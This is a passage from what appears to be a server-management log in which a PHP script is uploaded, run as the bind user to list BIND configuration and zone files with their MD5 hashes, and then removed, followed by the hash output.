MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 11:00:02: Establishing a connection
2026-04-28 11:00:03: 

PUT: /tmp/pkp457764

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 11:00:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp457764; rm /tmp/pkp457764'

2026-04-28 11:00:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
